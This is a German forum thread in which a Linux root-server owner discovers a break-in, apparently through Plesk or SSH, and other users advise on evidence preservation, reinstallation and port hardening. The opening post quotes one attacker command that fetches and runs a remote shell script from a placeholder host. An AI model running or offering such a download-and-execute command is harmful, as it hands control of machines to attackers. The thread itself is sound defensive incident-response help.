Einbruch in meinen Server

[stonebreaker62]

Hallo,

ich betreibe einen Rootserver auf Basis von Linux bei 1und1.

Nachdem ich mich als root eingeloggt habe und die letzten Befehle abgerufen habe, treffe ich auf folgenden Befehl, den ich nie eingegeben habe:
wget http://example.com/fin.sh;sh fin.sh wget http://example.com/fin.sh;sh fin.sh

Sehe ich das richtig, dass sich jemand in meinen Server als root einloggen konnte, den Download Manager ausgeführt und das Script fin.sh auf meinem Server ausgeführt hat?

Edit: URL entfernt braucht nicht weiter verbreitet zu werden.

[ddm3ve]

Sieht wohl so aus. ja und scheint ein geziehlter angriff auf Plesk zu sein.
Hier wird geziehlt ein Backdor ins admin Pannel eingebaut.

Strafanzeige stellen, Beweise sichern.

[stonebreaker62]

der Angreifer kommt über PLESK an mein Root Passwort ???? Das wird bei PLESK doch auch verschlüsselt übertragen. Und wenn das einmal klappt, dann wohl öfter. Ich hab mein Root PWD zwar geändert aber das scheint ja wohl nutzlos? Also mache ich am besten den PLESK Port 8443 zu?

[Joe User]

Alle verfügbaren Updates eingespielt?
Unabhängig davon, kannst Du dem System nun nicht mehr trauen und musst es komplett neu aufsetzen.

[its-netzwerk]

Ich empfehle auch, dringend ein Backup der wichtigsten Daten zu machen und dann sofort ein Re-Install des gesamten Servers. So weit ich weiss, bietet 1&1 bei den Root-Servern einen kostenlosen FTP-Backup Server an.

[ddm3ve]

Also entgegen der Empfehlung von ITS-netzwerk empfehle ich erstmal die Kiste von und nach extern unerreichbar zu machen. Nicht herunter fahren, lediglich mit der 1&1 Firewallfunktion den Server abklemmen.

Sonst gehen u.U. wichtige Hinweise und beweise verloren.
Eine forensiche Untersuchung wirst Du alleine nicht in dem Umfang hin bekommen, als das dies Zielführend verlaufen wird, so meine Einschätzung.

So weit ich es aus Deinem Post entnehmen konnte, war entweder eine Bruteforceattacke auf ssh erfolgreich oder durch eine vorhergehende Lücke ist jemand an Dein Passwort gekommen. Es kann auch gerne Verschlüsselt auf dem System gelegen haben. Plesk ist stark untr Beschuss und Rainbowtabellen gibt es auch für die in Plesk verwendete Art der Verschlüsselung.
Lange war es aber so, dass die Passworte in Plesk im Klartext vor lagen.
Wenn ich das Scrit noch richtig im Kopf habe wurde auch an der Plesk eigenen shadow manipuliert oder diese abgeholt.

Damit aber der Vorgang in der history erscheint, muss der Benutzer tatsächlich eine Shell Sitzung geöffnet haben.

Die Frage ist jetzt, ob er hierbei ein undichte Webapplikation genutzt hat und eine Remote shell implementiert hat inkl. einem rootkit um root zu werden oder eben tatsächlich per Bruteforce Attacke auf ssh.

Nur um Dir ein wenig die Illusion zu nehmen da soeben der ruf nach "Updates eingespielt" zu lesen war.:
Die Wahrscheinlichkeit ist zwar bedeutend grösser, dass bekannte Lösungen mit bekannten Lücken angegriffen werden, aber es ist grundsätzlich nicht ausgeschlossen, dass ein "selbst" gestricktes Script möglicherweise missbraucht wurde.

Unabhängig davon erinnere ich auch gerne daran, dass durch Bug und Security Fixes etliche andere Löcher entstanden sind. prominetestes Beispiel: Java.
http://www.heise.de/security/meldung/Ja ... 97435.html

Den einzigen Tipp, den ich dir wirklich geben kann. Wende dich an einen Profi und erstatte unbedingt Anzeige. Über die 1&1 Firewall das System vom Netz zu nehmen ist hier kein optionales Vorgehen sondern die erste Absicherungsmassnahme.
Auch zu Deinem eigenen Schutz, wer weiss, was der Angreifer mit deinem Rechner vor hat, oder hatte.

[ddm3ve]

der Angreifer kommt über PLESK an mein Root Passwort ???? Das wird bei PLESK doch auch verschlüsselt übertragen. Und wenn das einmal klappt, dann wohl öfter. Ich hab mein Root PWD zwar geändert aber das scheint ja wohl nutzlos? Also mache ich am besten den PLESK Port 8443 zu?

Wichtiger Hinweis,

der Angreifer hatte offensichtlich Root Rechte.

-> Das gesamte System ist daher nicht mehr vertrauenwürdig.
Es wurden vereinzelt Binaries ausgetauscht. Und das ist jetzt erstmal, was wir definitiv wissen, was sonst noch gemacht wurde ist nicht klar und bekannt.
Daher muss das Abwürgen des Port 8443 und auch das Ändern des Rootpasswortes keinen wirklich Schutz bringen. Mit hoher Sicherheit war das vergeudete Lebenszeit.
Viele Angriffe und Einbrüche in mehreren Schritten ab.
Ist eine Lücke gefunden wird diese meiste dafür genutzt um sich einen dauerhaften Zugang zu einem System zu sichern. Also Ausbau der Backdoors. Danach, wenn die System ausreichend vorbereitet sind, werden diese in der Szene bekannt gemacht.
Welche Aufgabe dann für das übernommene System an steht weiss kein Mensch ist aber eine tickende Zeitbombe. Daher ist nach der juristischen Abhandlung über Strafanzeige, Beweissicherung etc. der nächste Schritt das System komplett neu zu installieren.

Auch wenn die "Gefahr" gross ist, dass eine Strafanzeige im Endeffekt im Sande verläuft, ist es für dich eine wichtige Absicherung um im Falle eines Falles nicht selbst als Täter zu gelten. Ohne Beweise auf der Hinterhand kannst Du dann wiederum Deine Unschuld nicht mehr beweisen. Zwischen einer Ermahnung über Schadensersatz bin hin zu Vorstrafe ist dann u.U. alles drinnen.

[its-netzwerk]

Also entgegen der Empfehlung von ITS-netzwerk empfehle ich erstmal die Kiste von und nach extern unerreichbar zu machen. Nicht herunter fahren, lediglich mit der 1&1 Firewallfunktion den Server abklemmen.

Wichtig ist zu wissen, dass es sich bei den "vorgelagerten" 1&1 Firewalls bei Root/Cloud-Servern, nur um eine Firewall handelt die eingehende Verbindungen blockieren können.

Sofern du den Rat von ddm3ve befolgst und den Server nur via 1&1 Firewall "sperrst", vergiss bitte nicht die ausgehenden Verbindungen über "iptables" oder eine andere Firewall zu sperren.
Wenn aber dein SSH-Dienst ausgetauscht worden ist, wird es schwer den Angreifer vom Server zu bekommen.

Falls du auf eine vollständige Forensik wert legst, empfehle ich dir professionelle Hilfe zu holen, um den Einbruch rekonstruieren zu können.

Ansonsten bleibe ich bei meiner Aussage: Backup machen und Re-Install (asap).

[stonebreaker62]

danke für Eure Tips.

ich habe den Server ohne PLESK initialisiert und installiere alles neu. Ich brauche sowieso nur meinen Appserver und die Datenbank.

Anzeige werde ich auch erstatten. Interessant dabei: der Angreifer holt sich die Scripts von der Website example.com. das ist eine Anwaltskanzlei. Vermutlich wird der Webserver dieser Kanzlei auch missbraucht?

Edit, Domain entfernt. Die können offensichtlich auch nichts dafür.

[ddm3ve]

Ja, davon kannst Du aus gehen auch dort läuft eine Plesk Instanz.
Erwartungsgemäss wird wohl auch dort über die gleiche Methodik angegriffen worden sein. Zumindest gab es in jüngster Vergangenheit genug Lücken um eine Plesk Installation entsprechend zu befallen.

Was an dem Reinitialisiern nun schlecht war, jetzt weisst Du offensichtlich immer noch nicht, wie er in Dein System gekommen ist, der Angreifer. Wo war also die Ursprüngliche Lücke? Wenn Du Deine Nutzdaten zurück sicherst sicherst Du u.U. wieder die Lücke mit. Ergebnis, das nächste mal gibt sich der Angreifer ggf. mehr Mühe und zwar ganz ohne, dass Du ggf. etwas davon mit bekommst. Und genau deshalb halte ich diesen "Asap reinitialisieren" Tipp für grob fahrlässig.

Wenn auf dem System meinetwegen keine RAMDisk oder "verdächtige" Prozesse erkennbar sind, kann man sich durchaus zur Absicherung darauf einlassen, das System im Rettungsystem zu starten und zu untersuchen. Aber weder eine lokale Firewall, womöglich noch nachträglich installiert noch, oder andere verspätete Absicherungsmassnahmen auf dem System werden hier zweifelsfrei einen Einbruch mit allen Spuren und ggf. geschaffenen Lücken rückgängig machen können.

[ddm3ve]

Ansonsten bleibe ich bei meiner Aussage: Backup machen und Re-Install (asap).

Vorher doch lieber herunter fahren damit man wenigstens noch das meiste an Beweise "vor liegen hat". Wenn jemand tatsächlich vor hat, Verbindungen vom Server nach extern zu öffnen, egal für welchen Zweck, dann sind lokale Firewalls i.d.R. mit eingeplante Hindernisse, wobei mit root Rechten eine lokale Firewall nun kein echtes Hindernis ist.

Man könnte dies zwar mit einem Openwall,grsecurity Kernelpatch oder anderen Methoden zum Härten des Kernels verhindern, aber ein typisches Image eines Provider hat sowas ja nicht on Board dabei.

[stonebreaker62]

... ich habe inzwischen alles wieder online. Habe diesmal einen Ubuntu Server (Minimalsystem ohne PLESK) genommen und damit vielleicht das größte Problem umgangen. Mit PHPMYADMIN aber gleich wieder eine andere Problemquelle installiert, die ich zunächst mal auf SSL bringen mußte. Da PHPADMIN den Apachen braucht, mußte ich diesen ebenfalls installieren, schalte ihn aber nur an, wenn ich an der DB manipuliere. Ansonsten läuft nur MySQL und der Glassfish-Server, bei dem ich alle Ports auf Security enabled gesetzt habe. Alle Passwörter sind neu, das MYSQL Root PW ist unterschiedlich zum Linux Root PW (war vorher nicht so). Insofern sehe ich jetzt nur noch meine Applikation als Risiko (JRuby Rails). Könnte sein, dass der Angreifer per XSS oder SQL Injection (das sollte bei Rails eigentlich ausgeschlossen sein) an Informationen gekommen ist. Noch eine Frage: ich vermute, es sind trotzdem noch Dienste erreichbar, die standardmäßig installiert werden. Welche Ports sollte ich schließen, damit hier nur noch die Applikation als Risiko bleibt?

[ddm3ve]

Keine Ports schliessen sondern die Applikationen nur auf localhost horchen lassen. Also gar nicht erst ins Netzwerk.

netstat -tulpen wäre eine erste Anlaufstelle um zu prüfen was nach extern horcht.

-> Linux Root PW

Ich würde gar keinen Rootlogin erlauben und auf ssh Key Authentifizierung setzen.

Wenn Du das im wesentlichen umgesetzt hast, ist auch sowas wie fail2ban verzichtbar. Alternativ könnte man ja von extern mal prüfen welche Ports tendenzielle erreichbar sind.

Btw. ein dienst der nicht von extern erreichbar sein muss, den kann man auch gleich auf lokalhost umstellen, Ansonsten must Du zur Sicherheit immer auch prüfen, ob die Firewall / iptables etcv. wirklich aktiv ist und den Port "schützt".

Wichtig ist auch, dass der glasfish, sofern nicht per default der Fall, auf einem nicht priveligierten Account läuft. Also nicht als root!

[stonebreaker62]

Danke für den Tip.


Den Glassfish habe ich in der Tat in einem eigenen Account ohne Root Rechte laufen. Das war vorher nicht so. Vielleicht war das das Problem und nicht PLESK. Anyway, die Ports hänge ich auf localhost und meine Applikation duchforste ich auch nochmal auf Security Leaks.Habe gelesen, dass man nach einem Login einen Session reset machen sollte um XSS zu verhindern. Das hatte ich bisher auch nicht.

Insofern hoffe ich, dass ich den Server damit dicht bekomme.

[ddm3ve]

Bei Plesk gab es in derVergngneheit doch einige Lücke, so dass eine später Analyse eher einem "Deuten des Kaffeesatzes" nahe kommt.

Im hoffentlich nie vorkommenden, nächsten mal, würde ich als mindester Ansatz z.B. per dd ein Image der Platte erstellen und lokal erforsten.
Eventuell kann man noch Spuren erkennen, die der Angreifer hinterlassen hat.

[stonebreaker62]

Mit netstat -tulpen bekomme ich folgenden Output.

Heisst das ich muss nur 3306 (mysql) und 68 (udp) umklemmen? den 22 brauche ich ja für ssh.

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 10409 1261/sshd
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 107 21705 3925/mysqld
tcp6 0 0 :::22 :::* LISTEN 0 10411 1261/sshd
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 9870 1246/dhclient3

[ddm3ve]

Nein, das bedeutet, dass mysql nur auf localhost horcht.

Foreign Address hat hier "erstmal" keine Bedeutung.
Local Adress ist für dich der wichtige Part.

Code: Select all

Aktive Internetverbindungen (Nur Server)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Benutzer   Inode      PID/Program name   
tcp        0      0 127.0.0.1:10025         0.0.0.0:*               LISTEN      0          30293829   26140/master        
tcp        0      0 127.0.0.1:10026         0.0.0.0:*               LISTEN      65         13028      4660/clamsmtpd      
tcp        0      0 127.0.0.1:12525         0.0.0.0:*               LISTEN      0          21230      4674/policyd-weight 
tcp        0      0 10.120.10.10:80         0.0.0.0:*               LISTEN      0          42827674   688/lighttpd

Bleibt also nur udp 68

[Joe User]

Bleibt also nur udp 68

Der mussen offen bleiben, sonst funktioniert DHCP nicht mehr.

[ddm3ve]

Ich arbeite nur mit fest eingetragenen ips.
War mir nicht bewusst, dass der dhcp client Requests an nimmt.

[Joe User]

Keine Requests, aber die Antworten vom DHCPd

[ddm3ve]

Alles klar,

hab ich nicht bedacht da ich dhcp nur in selten Setups oder Installationsumgebungen (PXE Boot) nutze.

[Joe User]

Ist bei NTP (Port 123/UDP) auch so.

[ddm3ve]

Eingehend?
Die Zeit syncronisation klappt bei meinen System tadellos da wird aber vom client zum Server verbunden. So sind auch die FW Regeln definiert.

Moment mal, dhcp teilt doch ip Adressen zu, das findet doch deutlich früher (auch anderer Layer) statt, als dass die Firewall aktiv wird.

[Joe User]

NTP-Clients (etwa ntpdate) verwenden ausgehend UDP >1023, aber NTP-Server unterhalten sich ausschliesslich per UDP 123 eingehend wie ausgehend.

DHCP-Requests werden beim Booten vor dem Initialisieren der Netzwerk-Interfaces und regelmässig im laufenden Betrieb (Ablauf der Lease) per Broadcast UDP 67 gesendet und per UDP 68 die Antwort empfangen.
http://en.wikipedia.org/wiki/Dynamic_Ho ... n_Protocol erklärt es schon ganz gut, die RFCs sind aber genauer.

[stonebreaker62]

... ich muss also hinsichtlich der Ports nichts mehr machen und mein Server kann nicht zum Versenden von Spam-Mails etc. missbraucht werden ?

Eine letzte Frage noch: ich nutze PSPC um meine Scripte auf den Server zu übertragen. Da wird ja auch nach dem Root Passwort gefragt. Ich hoffe doch, dass das verschlüsselt übertragen wird?